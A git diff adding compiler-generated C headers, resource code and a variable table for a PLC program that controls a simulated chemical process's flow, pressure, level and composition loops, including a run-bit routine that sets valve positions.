PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; 